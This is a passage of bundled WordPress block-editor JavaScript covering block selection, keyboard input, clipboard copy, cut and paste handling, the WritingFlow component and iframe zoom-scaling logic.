38765 let element = startNode.nodeType === startNode.ELEMENT_NODE ? startNode : startNode.parentElement;
38766 element = element?.closest("[contenteditable]");
38767 element?.focus();
38768 }
38769 return;
38770 }
38771 let startClientId = getBlockClientId(startNode);
38772 let endClientId = getBlockClientId(endNode);
38773 if (isClickShift) {
38774 const selectedClientId = getBlockSelectionStart();
38775 const clickedClientId = getBlockClientId(event.target);
38776 const focusNodeIsNonSelectable = clickedClientId !== endClientId;
38777 if (startClientId === endClientId && selection.isCollapsed || !endClientId || focusNodeIsNonSelectable) {
38778 endClientId = clickedClientId;
38779 }
38780 if (startClientId !== selectedClientId) {
38781 startClientId = selectedClientId;
38782 }
38783 }
38784 if (startClientId === void 0 && endClientId === void 0) {
38785 use_selection_observer_setContentEditableWrapper(node, false);
38786 return;
38787 }
38788 const isSingularSelection = startClientId === endClientId;
38789 if (isSingularSelection) {
38790 if (!isMultiSelecting()) {
38791 selectBlock(startClientId);
38792 } else {
38793 multiSelect(startClientId, startClientId);
38794 }
38795 } else {
38796 const startPath = [
38797 ...getBlockParents(startClientId),
38798 startClientId
38799 ];
38800 const endPath = [
38801 ...getBlockParents(endClientId),
38802 endClientId
38803 ];
38804 const depth = findDepth(startPath, endPath);
38805 if (startPath[depth] !== startClientId || endPath[depth] !== endClientId) {
38806 multiSelect(startPath[depth], endPath[depth]);
38807 return;
38808 }
38809 const richTextElementStart = getRichTextElement(startNode);
38810 const richTextElementEnd = getRichTextElement(endNode);
38811 if (richTextElementStart && richTextElementEnd) {
38812 const range = selection.getRangeAt(0);
38813 const richTextDataStart = (0,external_wp_richText_namespaceObject.create)({
38814 element: richTextElementStart,
38815 range,
38816 __unstableIsEditableTree: true
38817 });
38818 const richTextDataEnd = (0,external_wp_richText_namespaceObject.create)({
38819 element: richTextElementEnd,
38820 range,
38821 __unstableIsEditableTree: true
38822 });
38823 const startOffset = richTextDataStart.start ?? richTextDataStart.end;
38824 const endOffset = richTextDataEnd.start ?? richTextDataEnd.end;
38825 selectionChange({
38826 start: {
38827 clientId: startClientId,
38828 attributeKey: richTextElementStart.dataset.wpBlockAttributeKey,
38829 offset: startOffset
38830 },
38831 end: {
38832 clientId: endClientId,
38833 attributeKey: richTextElementEnd.dataset.wpBlockAttributeKey,
38834 offset: endOffset
38835 }
38836 });
38837 } else {
38838 multiSelect(startClientId, endClientId);
38839 }
38840 }
38841 }
38842 ownerDocument.addEventListener(
38843 "selectionchange",
38844 onSelectionChange
38845 );
38846 defaultView.addEventListener("mouseup", onSelectionChange);
38847 return () => {
38848 ownerDocument.removeEventListener(
38849 "selectionchange",
38850 onSelectionChange
38851 );
38852 defaultView.removeEventListener("mouseup", onSelectionChange);
38853 };
38854 },
38855 [multiSelect, selectBlock, selectionChange, getBlockParents]
38856 );
38857}
38858
38859
38860;// ./node_modules/@wordpress/block-editor/build-module/components/writing-flow/use-click-selection.js
38861
38862
38863
38864
38865function useClickSelection() {
38866 const { selectBlock } = (0,external_wp_data_namespaceObject.useDispatch)(store);
38867 const { isSelectionEnabled, getBlockSelectionStart, hasMultiSelection } = (0,external_wp_data_namespaceObject.useSelect)(store);
38868 return (0,external_wp_compose_namespaceObject.useRefEffect)(
38869 (node) => {
38870 function onMouseDown(event) {
38871 if (!isSelectionEnabled() || event.button !== 0) {
38872 return;
38873 }
38874 const startClientId = getBlockSelectionStart();
38875 const clickedClientId = getBlockClientId(event.target);
38876 if (event.shiftKey) {
38877 if (startClientId && startClientId !== clickedClientId) {
38878 node.contentEditable = true;
38879 node.focus();
38880 }
38881 } else if (hasMultiSelection()) {
38882 selectBlock(clickedClientId);
38883 }
38884 }
38885 node.addEventListener("mousedown", onMouseDown);
38886 return () => {
38887 node.removeEventListener("mousedown", onMouseDown);
38888 };
38889 },
38890 [
38891 selectBlock,
38892 isSelectionEnabled,
38893 getBlockSelectionStart,
38894 hasMultiSelection
38895 ]
38896 );
38897}
38898
38899
38900;// ./node_modules/@wordpress/block-editor/build-module/components/writing-flow/use-input.js
38901
38902
38903
38904
38905
38906function useInput() {
38907 const {
38908 __unstableIsFullySelected,
38909 getSelectedBlockClientIds,
38910 getSelectedBlockClientId,
38911 __unstableIsSelectionMergeable,
38912 hasMultiSelection,
38913 getBlockName,
38914 canInsertBlockType,
38915 getBlockRootClientId,
38916 getSelectionStart,
38917 getSelectionEnd,
38918 getBlockAttributes
38919 } = (0,external_wp_data_namespaceObject.useSelect)(store);
38920 const {
38921 replaceBlocks,
38922 __unstableSplitSelection,
38923 removeBlocks,
38924 __unstableDeleteSelection,
38925 __unstableExpandSelection,
38926 __unstableMarkAutomaticChange
38927 } = (0,external_wp_data_namespaceObject.useDispatch)(store);
38928 return (0,external_wp_compose_namespaceObject.useRefEffect)((node) => {
38929 function onBeforeInput(event) {
38930 if (node.contentEditable === "true") {
38931 event.preventDefault();
38932 }
38933 }
38934 function onKeyDown(event) {
38935 if (event.defaultPrevented) {
38936 return;
38937 }
38938 if (!hasMultiSelection()) {
38939 if (event.keyCode === external_wp_keycodes_namespaceObject.ENTER) {
38940 if (event.shiftKey || __unstableIsFullySelected()) {
38941 return;
38942 }
38943 const clientId = getSelectedBlockClientId();
38944 const blockName = getBlockName(clientId);
38945 const selectionStart = getSelectionStart();
38946 const selectionEnd = getSelectionEnd();
38947 if (selectionStart.attributeKey === selectionEnd.attributeKey) {
38948 const selectedAttributeValue = getBlockAttributes(clientId)[selectionStart.attributeKey];
38949 const transforms = (0,external_wp_blocks_namespaceObject.getBlockTransforms)("from").filter(
38950 ({ type }) => type === "enter"
38951 );
38952 const transformation = (0,external_wp_blocks_namespaceObject.findTransform)(
38953 transforms,
38954 (item) => {
38955 return item.regExp.test(
38956 selectedAttributeValue
38957 );
38958 }
38959 );
38960 if (transformation) {
38961 replaceBlocks(
38962 clientId,
38963 transformation.transform({
38964 content: selectedAttributeValue
38965 })
38966 );
38967 __unstableMarkAutomaticChange();
38968 return;
38969 }
38970 }
38971 if (!(0,external_wp_blocks_namespaceObject.hasBlockSupport)(blockName, "splitting", false) && !event.__deprecatedOnSplit) {
38972 return;
38973 }
38974 if (canInsertBlockType(
38975 blockName,
38976 getBlockRootClientId(clientId)
38977 )) {
38978 __unstableSplitSelection();
38979 event.preventDefault();
38980 }
38981 }
38982 return;
38983 }
38984 if (event.keyCode === external_wp_keycodes_namespaceObject.ENTER) {
38985 node.contentEditable = false;
38986 event.preventDefault();
38987 if (__unstableIsFullySelected()) {
38988 replaceBlocks(
38989 getSelectedBlockClientIds(),
38990 (0,external_wp_blocks_namespaceObject.createBlock)((0,external_wp_blocks_namespaceObject.getDefaultBlockName)())
38991 );
38992 } else {
38993 __unstableSplitSelection();
38994 }
38995 } else if (event.keyCode === external_wp_keycodes_namespaceObject.BACKSPACE || event.keyCode === external_wp_keycodes_namespaceObject.DELETE) {
38996 node.contentEditable = false;
38997 event.preventDefault();
38998 if (__unstableIsFullySelected()) {
38999 removeBlocks(getSelectedBlockClientIds());
39000 } else if (__unstableIsSelectionMergeable()) {
39001 __unstableDeleteSelection(event.keyCode === external_wp_keycodes_namespaceObject.DELETE);
39002 } else {
39003 __unstableExpandSelection();
39004 }
39005 } else if (
39006 // If key.length is longer than 1, it's a control key that doesn't
39007 // input anything.
39008 event.key.length === 1 && !(event.metaKey || event.ctrlKey)
39009 ) {
39010 node.contentEditable = false;
39011 if (__unstableIsSelectionMergeable()) {
39012 __unstableDeleteSelection(event.keyCode === external_wp_keycodes_namespaceObject.DELETE);
39013 } else {
39014 event.preventDefault();
39015 node.ownerDocument.defaultView.getSelection().removeAllRanges();
39016 }
39017 }
39018 }
39019 function onCompositionStart(event) {
39020 if (!hasMultiSelection()) {
39021 return;
39022 }
39023 node.contentEditable = false;
39024 if (__unstableIsSelectionMergeable()) {
39025 __unstableDeleteSelection();
39026 } else {
39027 event.preventDefault();
39028 node.ownerDocument.defaultView.getSelection().removeAllRanges();
39029 }
39030 }
39031 node.addEventListener("beforeinput", onBeforeInput);
39032 node.addEventListener("keydown", onKeyDown);
39033 node.addEventListener("compositionstart", onCompositionStart);
39034 return () => {
39035 node.removeEventListener("beforeinput", onBeforeInput);
39036 node.removeEventListener("keydown", onKeyDown);
39037 node.removeEventListener("compositionstart", onCompositionStart);
39038 };
39039 }, []);
39040}
39041
39042
39043;// ./node_modules/@wordpress/block-editor/build-module/utils/use-notify-copy.js
39044
39045
39046
39047
39048
39049
39050function useNotifyCopy() {
39051 const { getBlockName } = (0,external_wp_data_namespaceObject.useSelect)(store);
39052 const { getBlockType } = (0,external_wp_data_namespaceObject.useSelect)(external_wp_blocks_namespaceObject.store);
39053 const { createSuccessNotice } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_notices_namespaceObject.store);
39054 return (0,external_wp_element_namespaceObject.useCallback)(
39055 (eventType, selectedBlockClientIds) => {
39056 let notice = "";
39057 if (eventType === "copyStyles") {
39058 notice = (0,external_wp_i18n_namespaceObject.__)("Styles copied to clipboard.");
39059 } else if (selectedBlockClientIds.length === 1) {
39060 const clientId = selectedBlockClientIds[0];
39061 const title = getBlockType(getBlockName(clientId))?.title;
39062 if (eventType === "copy") {
39063 notice = (0,external_wp_i18n_namespaceObject.sprintf)(
39064 // Translators: %s: Name of the block being copied, e.g. "Paragraph".
39065 (0,external_wp_i18n_namespaceObject.__)('Copied "%s" to clipboard.'),
39066 title
39067 );
39068 } else {
39069 notice = (0,external_wp_i18n_namespaceObject.sprintf)(
39070 // Translators: %s: Name of the block being cut, e.g. "Paragraph".
39071 (0,external_wp_i18n_namespaceObject.__)('Moved "%s" to clipboard.'),
39072 title
39073 );
39074 }
39075 } else if (eventType === "copy") {
39076 notice = (0,external_wp_i18n_namespaceObject.sprintf)(
39077 // Translators: %d: Number of blocks being copied.
39078 (0,external_wp_i18n_namespaceObject._n)(
39079 "Copied %d block to clipboard.",
39080 "Copied %d blocks to clipboard.",
39081 selectedBlockClientIds.length
39082 ),
39083 selectedBlockClientIds.length
39084 );
39085 } else {
39086 notice = (0,external_wp_i18n_namespaceObject.sprintf)(
39087 // Translators: %d: Number of blocks being moved.
39088 (0,external_wp_i18n_namespaceObject._n)(
39089 "Moved %d block to clipboard.",
39090 "Moved %d blocks to clipboard.",
39091 selectedBlockClientIds.length
39092 ),
39093 selectedBlockClientIds.length
39094 );
39095 }
39096 createSuccessNotice(notice, {
39097 type: "snackbar"
39098 });
39099 },
39100 [createSuccessNotice, getBlockName, getBlockType]
39101 );
39102}
39103
39104
39105;// ./node_modules/@wordpress/block-editor/build-module/utils/pasting.js
39106
39107function removeWindowsFragments(html) {
39108 const startStr = "<!--StartFragment-->";
39109 const startIdx = html.indexOf(startStr);
39110 if (startIdx > -1) {
39111 html = html.substring(startIdx + startStr.length);
39112 } else {
39113 return html;
39114 }
39115 const endStr = "<!--EndFragment-->";
39116 const endIdx = html.indexOf(endStr);
39117 if (endIdx > -1) {
39118 html = html.substring(0, endIdx);
39119 }
39120 return html;
39121}
39122function removeCharsetMetaTag(html) {
39123 const metaTag = `<meta charset='utf-8'>`;
39124 if (html.startsWith(metaTag)) {
39125 return html.slice(metaTag.length);
39126 }
39127 return html;
39128}
39129function getPasteEventData({ clipboardData }) {
39130 let plainText = "";
39131 let html = "";
39132 try {
39133 plainText = clipboardData.getData("text/plain");
39134 html = clipboardData.getData("text/html");
39135 } catch (error) {
39136 return;
39137 }
39138 html = removeWindowsFragments(html);
39139 html = removeCharsetMetaTag(html);
39140 const files = (0,external_wp_dom_namespaceObject.getFilesFromDataTransfer)(clipboardData);
39141 if (files.length && !shouldDismissPastedFiles(files, html)) {
39142 return { files };
39143 }
39144 return { html, plainText, files: [] };
39145}
39146function shouldDismissPastedFiles(files, html) {
39147 if (html && files?.length === 1 && files[0].type.indexOf("image/") === 0) {
39148 const IMAGE_TAG = /<\s*img\b/gi;
39149 if (html.match(IMAGE_TAG)?.length !== 1) {
39150 return true;
39151 }
39152 const IMG_WITH_LOCAL_SRC = /<\s*img\b[^>]*\bsrc="file:\/\//i;
39153 if (html.match(IMG_WITH_LOCAL_SRC)) {
39154 return true;
39155 }
39156 }
39157 return false;
39158}
39159
39160
39161;// ./node_modules/@wordpress/block-editor/build-module/components/writing-flow/utils.js
39162
39163
39164
39165
39166const requiresWrapperOnCopy = Symbol("requiresWrapperOnCopy");
39167function setClipboardBlocks(event, blocks, registry) {
39168 let _blocks = blocks;
39169 const [firstBlock] = blocks;
39170 if (firstBlock) {
39171 const firstBlockType = registry.select(external_wp_blocks_namespaceObject.store).getBlockType(firstBlock.name);
39172 if (firstBlockType[requiresWrapperOnCopy]) {
39173 const { getBlockRootClientId, getBlockName, getBlockAttributes } = registry.select(store);
39174 const wrapperBlockClientId = getBlockRootClientId(
39175 firstBlock.clientId
39176 );
39177 const wrapperBlockName = getBlockName(wrapperBlockClientId);
39178 if (wrapperBlockName) {
39179 _blocks = (0,external_wp_blocks_namespaceObject.createBlock)(
39180 wrapperBlockName,
39181 getBlockAttributes(wrapperBlockClientId),
39182 _blocks
39183 );
39184 }
39185 }
39186 }
39187 const serialized = (0,external_wp_blocks_namespaceObject.serialize)(_blocks);
39188 event.clipboardData.setData("text/plain", toPlainText(serialized));
39189 event.clipboardData.setData("text/html", serialized);
39190}
39191function getPasteBlocks(event, canUserUseUnfilteredHTML) {
39192 const { plainText, html, files } = getPasteEventData(event);
39193 let blocks = [];
39194 if (files.length) {
39195 const fromTransforms = (0,external_wp_blocks_namespaceObject.getBlockTransforms)("from");
39196 blocks = files.reduce((accumulator, file) => {
39197 const transformation = (0,external_wp_blocks_namespaceObject.findTransform)(
39198 fromTransforms,
39199 (transform) => transform.type === "files" && transform.isMatch([file])
39200 );
39201 if (transformation) {
39202 accumulator.push(transformation.transform([file]));
39203 }
39204 return accumulator;
39205 }, []).flat();
39206 } else {
39207 blocks = (0,external_wp_blocks_namespaceObject.pasteHandler)({
39208 HTML: html,
39209 plainText,
39210 mode: "BLOCKS",
39211 canUserUseUnfilteredHTML
39212 });
39213 }
39214 return blocks;
39215}
39216function toPlainText(html) {
39217 html = html.replace(/<br>/g, "\n");
39218 const plainText = (0,external_wp_dom_namespaceObject.__unstableStripHTML)(html).trim();
39219 return plainText.replace(/\n\n+/g, "\n\n");
39220}
39221
39222
39223;// ./node_modules/@wordpress/block-editor/build-module/components/writing-flow/use-clipboard-handler.js
39224
39225
39226
39227
39228
39229
39230
39231
39232function useClipboardHandler() {
39233 const registry = (0,external_wp_data_namespaceObject.useRegistry)();
39234 const {
39235 getBlocksByClientId,
39236 getSelectedBlockClientIds,
39237 hasMultiSelection,
39238 getSettings,
39239 getBlockName,
39240 __unstableIsFullySelected,
39241 __unstableIsSelectionCollapsed,
39242 __unstableIsSelectionMergeable,
39243 __unstableGetSelectedBlocksWithPartialSelection,
39244 canInsertBlockType,
39245 getBlockRootClientId
39246 } = (0,external_wp_data_namespaceObject.useSelect)(store);
39247 const {
39248 flashBlock,
39249 removeBlocks,
39250 replaceBlocks,
39251 __unstableDeleteSelection,
39252 __unstableExpandSelection,
39253 __unstableSplitSelection
39254 } = (0,external_wp_data_namespaceObject.useDispatch)(store);
39255 const notifyCopy = useNotifyCopy();
39256 return (0,external_wp_compose_namespaceObject.useRefEffect)((node) => {
39257 function handler(event) {
39258 if (event.defaultPrevented) {
39259 return;
39260 }
39261 const selectedBlockClientIds = getSelectedBlockClientIds();
39262 if (selectedBlockClientIds.length === 0) {
39263 return;
39264 }
39265 if (!hasMultiSelection()) {
39266 const { target } = event;
39267 const { ownerDocument } = target;
39268 const hasSelection = event.type === "copy" || event.type === "cut" ? (0,external_wp_dom_namespaceObject.documentHasUncollapsedSelection)(ownerDocument) : (0,external_wp_dom_namespaceObject.documentHasSelection)(ownerDocument) && !ownerDocument.activeElement.isContentEditable;
39269 if (hasSelection) {
39270 return;
39271 }
39272 }
39273 const { activeElement } = event.target.ownerDocument;
39274 if (!node.contains(activeElement)) {
39275 return;
39276 }
39277 const isSelectionMergeable = __unstableIsSelectionMergeable();
39278 const shouldHandleWholeBlocks = __unstableIsSelectionCollapsed() || __unstableIsFullySelected();
39279 const expandSelectionIsNeeded = !shouldHandleWholeBlocks && !isSelectionMergeable;
39280 if (event.type === "copy" || event.type === "cut") {
39281 event.preventDefault();
39282 if (selectedBlockClientIds.length === 1) {
39283 flashBlock(selectedBlockClientIds[0]);
39284 }
39285 if (expandSelectionIsNeeded) {
39286 __unstableExpandSelection();
39287 } else {
39288 notifyCopy(event.type, selectedBlockClientIds);
39289 let blocks;
39290 if (shouldHandleWholeBlocks) {
39291 blocks = getBlocksByClientId(selectedBlockClientIds);
39292 } else {
39293 const [head, tail] = __unstableGetSelectedBlocksWithPartialSelection();
39294 const inBetweenBlocks = getBlocksByClientId(
39295 selectedBlockClientIds.slice(
39296 1,
39297 selectedBlockClientIds.length - 1
39298 )
39299 );
39300 blocks = [head, ...inBetweenBlocks, tail];
39301 }
39302 setClipboardBlocks(event, blocks, registry);
39303 }
39304 }
39305 if (event.type === "cut") {
39306 if (shouldHandleWholeBlocks && !expandSelectionIsNeeded) {
39307 removeBlocks(selectedBlockClientIds);
39308 } else {
39309 event.target.ownerDocument.activeElement.contentEditable = false;
39310 __unstableDeleteSelection();
39311 }
39312 } else if (event.type === "paste") {
39313 const {
39314 __experimentalCanUserUseUnfilteredHTML: canUserUseUnfilteredHTML,
39315 mediaUpload
39316 } = getSettings();
39317 const isInternal = event.clipboardData.getData("rich-text") === "true";
39318 if (isInternal) {
39319 return;
39320 }
39321 const { plainText, html, files } = getPasteEventData(event);
39322 const isFullySelected = __unstableIsFullySelected();
39323 let blocks = [];
39324 if (files.length) {
39325 if (!mediaUpload) {
39326 event.preventDefault();
39327 return;
39328 }
39329 const fromTransforms = (0,external_wp_blocks_namespaceObject.getBlockTransforms)("from");
39330 blocks = files.reduce((accumulator, file) => {
39331 const transformation = (0,external_wp_blocks_namespaceObject.findTransform)(
39332 fromTransforms,
39333 (transform) => transform.type === "files" && transform.isMatch([file])
39334 );
39335 if (transformation) {
39336 accumulator.push(
39337 transformation.transform([file])
39338 );
39339 }
39340 return accumulator;
39341 }, []).flat();
39342 } else {
39343 blocks = (0,external_wp_blocks_namespaceObject.pasteHandler)({
39344 HTML: html,
39345 plainText,
39346 mode: isFullySelected ? "BLOCKS" : "AUTO",
39347 canUserUseUnfilteredHTML
39348 });
39349 }
39350 if (typeof blocks === "string") {
39351 return;
39352 }
39353 if (isFullySelected) {
39354 replaceBlocks(
39355 selectedBlockClientIds,
39356 blocks,
39357 blocks.length - 1,
39358 -1
39359 );
39360 event.preventDefault();
39361 return;
39362 }
39363 if (!hasMultiSelection() && !(0,external_wp_blocks_namespaceObject.hasBlockSupport)(
39364 getBlockName(selectedBlockClientIds[0]),
39365 "splitting",
39366 false
39367 ) && !event.__deprecatedOnSplit) {
39368 return;
39369 }
39370 const [firstSelectedClientId] = selectedBlockClientIds;
39371 const rootClientId = getBlockRootClientId(
39372 firstSelectedClientId
39373 );
39374 const newBlocks = [];
39375 for (const block of blocks) {
39376 if (canInsertBlockType(block.name, rootClientId)) {
39377 newBlocks.push(block);
39378 } else {
39379 const rootBlockName = getBlockName(rootClientId);
39380 const switchedBlocks = block.name !== rootBlockName ? (0,external_wp_blocks_namespaceObject.switchToBlockType)(block, rootBlockName) : [block];
39381 if (!switchedBlocks) {
39382 return;
39383 }
39384 for (const switchedBlock of switchedBlocks) {
39385 for (const innerBlock of switchedBlock.innerBlocks) {
39386 newBlocks.push(innerBlock);
39387 }
39388 }
39389 }
39390 }
39391 __unstableSplitSelection(newBlocks);
39392 event.preventDefault();
39393 }
39394 }
39395 node.ownerDocument.addEventListener("copy", handler);
39396 node.ownerDocument.addEventListener("cut", handler);
39397 node.ownerDocument.addEventListener("paste", handler);
39398 return () => {
39399 node.ownerDocument.removeEventListener("copy", handler);
39400 node.ownerDocument.removeEventListener("cut", handler);
39401 node.ownerDocument.removeEventListener("paste", handler);
39402 };
39403 }, []);
39404}
39405
39406
39407;// ./node_modules/@wordpress/block-editor/build-module/components/writing-flow/index.js
39408
39409
39410
39411
39412
39413
39414
39415
39416
39417
39418
39419
39420
39421
39422
39423
39424function useWritingFlow() {
39425 const [before, ref, after] = useTabNav();
39426 const hasMultiSelection = (0,external_wp_data_namespaceObject.useSelect)(
39427 (select) => select(store).hasMultiSelection(),
39428 []
39429 );
39430 return [
39431 before,
39432 (0,external_wp_compose_namespaceObject.useMergeRefs)([
39433 ref,
39434 useClipboardHandler(),
39435 useInput(),
39436 useDragSelection(),
39437 useSelectionObserver(),
39438 useClickSelection(),
39439 useMultiSelection(),
39440 useSelectAll(),
39441 useArrowNav(),
39442 (0,external_wp_compose_namespaceObject.useRefEffect)(
39443 (node) => {
39444 node.tabIndex = 0;
39445 node.dataset.hasMultiSelection = hasMultiSelection;
39446 if (!hasMultiSelection) {
39447 return () => {
39448 delete node.dataset.hasMultiSelection;
39449 };
39450 }
39451 node.setAttribute(
39452 "aria-label",
39453 (0,external_wp_i18n_namespaceObject.__)("Multiple selected blocks")
39454 );
39455 return () => {
39456 delete node.dataset.hasMultiSelection;
39457 node.removeAttribute("aria-label");
39458 };
39459 },
39460 [hasMultiSelection]
39461 )
39462 ]),
39463 after
39464 ];
39465}
39466function WritingFlow({ children, ...props }, forwardedRef) {
39467 const [before, ref, after] = useWritingFlow();
39468 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
39469 before,
39470 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
39471 "div",
39472 {
39473 ...props,
39474 ref: (0,external_wp_compose_namespaceObject.useMergeRefs)([ref, forwardedRef]),
39475 className: dist_clsx(
39476 props.className,
39477 "block-editor-writing-flow"
39478 ),
39479 children
39480 }
39481 ),
39482 after
39483 ] });
39484}
39485var writing_flow_default = (0,external_wp_element_namespaceObject.forwardRef)(WritingFlow);
39486
39487
39488;// ./node_modules/@wordpress/block-editor/build-module/components/iframe/get-compatibility-styles.js
39489let compatibilityStyles = null;
39490function getCompatibilityStyles() {
39491 if (compatibilityStyles) {
39492 return compatibilityStyles;
39493 }
39494 compatibilityStyles = Array.from(document.styleSheets).reduce(
39495 (accumulator, styleSheet) => {
39496 try {
39497 styleSheet.cssRules;
39498 } catch (e) {
39499 return accumulator;
39500 }
39501 const { ownerNode, cssRules } = styleSheet;
39502 if (ownerNode === null) {
39503 return accumulator;
39504 }
39505 if (!cssRules) {
39506 return accumulator;
39507 }
39508 if (ownerNode.id.startsWith("wp-")) {
39509 return accumulator;
39510 }
39511 if (!ownerNode.id) {
39512 return accumulator;
39513 }
39514 function matchFromRules(_cssRules) {
39515 return Array.from(_cssRules).find(
39516 ({
39517 selectorText,
39518 conditionText,
39519 cssRules: __cssRules
39520 }) => {
39521 if (conditionText) {
39522 return matchFromRules(__cssRules);
39523 }
39524 return selectorText && (selectorText.includes(
39525 ".editor-styles-wrapper"
39526 ) || selectorText.includes(".wp-block"));
39527 }
39528 );
39529 }
39530 if (matchFromRules(cssRules)) {
39531 const isInline = ownerNode.tagName === "STYLE";
39532 if (isInline) {
39533 const mainStylesCssId = ownerNode.id.replace(
39534 "-inline-css",
39535 "-css"
39536 );
39537 const mainStylesElement = document.getElementById(mainStylesCssId);
39538 if (mainStylesElement) {
39539 accumulator.push(mainStylesElement.cloneNode(true));
39540 }
39541 }
39542 accumulator.push(ownerNode.cloneNode(true));
39543 if (!isInline) {
39544 const inlineStylesCssId = ownerNode.id.replace(
39545 "-css",
39546 "-inline-css"
39547 );
39548 const inlineStylesElement = document.getElementById(inlineStylesCssId);
39549 if (inlineStylesElement) {
39550 accumulator.push(
39551 inlineStylesElement.cloneNode(true)
39552 );
39553 }
39554 }
39555 }
39556 return accumulator;
39557 },
39558 []
39559 );
39560 return compatibilityStyles;
39561}
39562
39563
39564;// ./node_modules/@wordpress/block-editor/build-module/components/iframe/use-scale-canvas.js
39565
39566
39567function calculateScale({
39568 frameSize,
39569 containerWidth,
39570 maxContainerWidth,
39571 scaleContainerWidth
39572}) {
39573 return (Math.min(containerWidth, maxContainerWidth) - frameSize * 2) / scaleContainerWidth;
39574}
39575function computeScrollHeightNext(transitionFrom, transitionTo) {
39576 const { scaleValue: prevScale, scrollHeight: prevScrollHeight } = transitionFrom;
39577 const { frameSize, scaleValue } = transitionTo;
39578 return prevScrollHeight * (scaleValue / prevScale) + frameSize * 2;
39579}
39580function computeScrollTopNext(transitionFrom, transitionTo) {
39581 const {
39582 containerHeight: prevContainerHeight,
39583 frameSize: prevFrameSize,
39584 scaleValue: prevScale,
39585 scrollTop: prevScrollTop
39586 } = transitionFrom;
39587 const { containerHeight, frameSize, scaleValue, scrollHeight } = transitionTo;
39588 let scrollTopNext = prevScrollTop;
39589 scrollTopNext = (scrollTopNext + prevContainerHeight / 2 - prevFrameSize) / prevScale - prevContainerHeight / 2;
39590 scrollTopNext = (scrollTopNext + containerHeight / 2) * scaleValue + frameSize - containerHeight / 2;
39591 scrollTopNext = prevScrollTop <= prevFrameSize ? 0 : scrollTopNext;
39592 const maxScrollTop = scrollHeight - containerHeight;
39593 return Math.round(
39594 Math.min(Math.max(0, scrollTopNext), Math.max(0, maxScrollTop))
39595 );
39596}
39597function getAnimationKeyframes(transitionFrom, transitionTo) {
39598 const {
39599 scaleValue: prevScale,
39600 frameSize: prevFrameSize,
39601 scrollTop
39602 } = transitionFrom;
39603 const { scaleValue, frameSize, scrollTop: scrollTopNext } = transitionTo;
39604 return [
39605 {
39606 translate: `0 0`,
39607 scale: prevScale,
39608 paddingTop: `${prevFrameSize / prevScale}px`,
39609 paddingBottom: `${prevFrameSize / prevScale}px`
39610 },
39611 {
39612 translate: `0 ${scrollTop - scrollTopNext}px`,
39613 scale: scaleValue,
39614 paddingTop: `${frameSize / scaleValue}px`,
39615 paddingBottom: `${frameSize / scaleValue}px`
39616 }
39617 ];
39618}
39619function useScaleCanvas({
39620 frameSize,
39621 iframeDocument,
39622 maxContainerWidth = 750,
39623 scale
39624}) {
39625 const [contentResizeListener, { height: contentHeight }] = (0,external_wp_compose_namespaceObject.useResizeObserver)();
39626 const [
39627 containerResizeListener,
39628 { width: containerWidth, height: containerHeight }
39629 ] = (0,external_wp_compose_namespaceObject.useResizeObserver)();
39630 const initialContainerWidthRef = (0,external_wp_element_namespaceObject.useRef)(0);
39631 const isZoomedOut = scale !== 1;
39632 const prefersReducedMotion = (0,external_wp_compose_namespaceObject.useReducedMotion)();
39633 const isAutoScaled = scale === "auto-scaled";
39634 const startAnimationRef = (0,external_wp_element_namespaceObject.useRef)(false);
39635 const animationRef = (0,external_wp_element_namespaceObject.useRef)(null);
39636 (0,external_wp_element_namespaceObject.useEffect)(() => {
39637 if (!isZoomedOut) {
39638 initialContainerWidthRef.current = containerWidth;
39639 }
39640 }, [containerWidth, isZoomedOut]);
39641 const scaleContainerWidth = Math.max(
39642 initialContainerWidthRef.current,
39643 containerWidth
39644 );
39645 const scaleValue = isAutoScaled ? calculateScale({
39646 frameSize,
39647 containerWidth,
39648 maxContainerWidth,
39649 scaleContainerWidth
39650 }) : scale;
39651 const transitionFromRef = (0,external_wp_element_namespaceObject.useRef)({
39652 scaleValue,
39653 frameSize,
39654 containerHeight: 0,
39655 scrollTop: 0,
39656 scrollHeight: 0
39657 });
39658 const transitionToRef = (0,external_wp_element_namespaceObject.useRef)({
39659 scaleValue,
39660 frameSize,
39661 containerHeight: 0,
39662 scrollTop: 0,
39663 scrollHeight: 0
39664 });
39665 const startZoomOutAnimation = (0,external_wp_element_namespaceObject.useCallback)(() => {
39666 const { scrollTop } = transitionFromRef.current;
39667 const { scrollTop: scrollTopNext } = transitionToRef.current;
39668 iframeDocument.documentElement.style.setProperty(
39669 "--wp-block-editor-iframe-zoom-out-scroll-top",
39670 `${scrollTop}px`
39671 );
39672 iframeDocument.documentElement.style.setProperty(
39673 "--wp-block-editor-iframe-zoom-out-scroll-top-next",
39674 `${scrollTopNext}px`
39675 );
39676 iframeDocument.documentElement.style.setProperty(
39677 "--wp-block-editor-iframe-zoom-out-overflow-behavior",
39678 transitionFromRef.current.scrollHeight === transitionFromRef.current.containerHeight ? "auto" : "scroll"
39679 );
39680 iframeDocument.documentElement.classList.add("zoom-out-animation");
39681 return iframeDocument.documentElement.animate(
39682 getAnimationKeyframes(
39683 transitionFromRef.current,
39684 transitionToRef.current
39685 ),
39686 {
39687 easing: "cubic-bezier(0.46, 0.03, 0.52, 0.96)",
39688 duration: 400
39689 }
39690 );
39691 }, [iframeDocument]);
39692 const finishZoomOutAnimation = (0,external_wp_element_namespaceObject.useCallback)(() => {
39693 startAnimationRef.current = false;
39694 animationRef.current = null;
39695 iframeDocument.documentElement.style.setProperty(
39696 "--wp-block-editor-iframe-zoom-out-scale",
39697 transitionToRef.current.scaleValue
39698 );
39699 iframeDocument.documentElement.style.setProperty(
39700 "--wp-block-editor-iframe-zoom-out-frame-size",
39701 `${transitionToRef.current.frameSize}px`
39702 );
39703 iframeDocument.documentElement.classList.remove("zoom-out-animation");
39704 iframeDocument.documentElement.scrollTop = transitionToRef.current.scrollTop;
39705 iframeDocument.documentElement.style.removeProperty(
39706 "--wp-block-editor-iframe-zoom-out-scroll-top"
39707 );
39708 iframeDocument.documentElement.style.removeProperty(
39709 "--wp-block-editor-iframe-zoom-out-scroll-top-next"
39710 );
39711 iframeDocument.documentElement.style.removeProperty(
39712 "--wp-block-editor-iframe-zoom-out-overflow-behavior"
39713 );
39714 transitionFromRef.current = transitionToRef.current;
39715 }, [iframeDocument]);
39716 const previousIsZoomedOut = (0,external_wp_element_namespaceObject.useRef)(false);
39717 (0,external_wp_element_namespaceObject.useEffect)(() => {
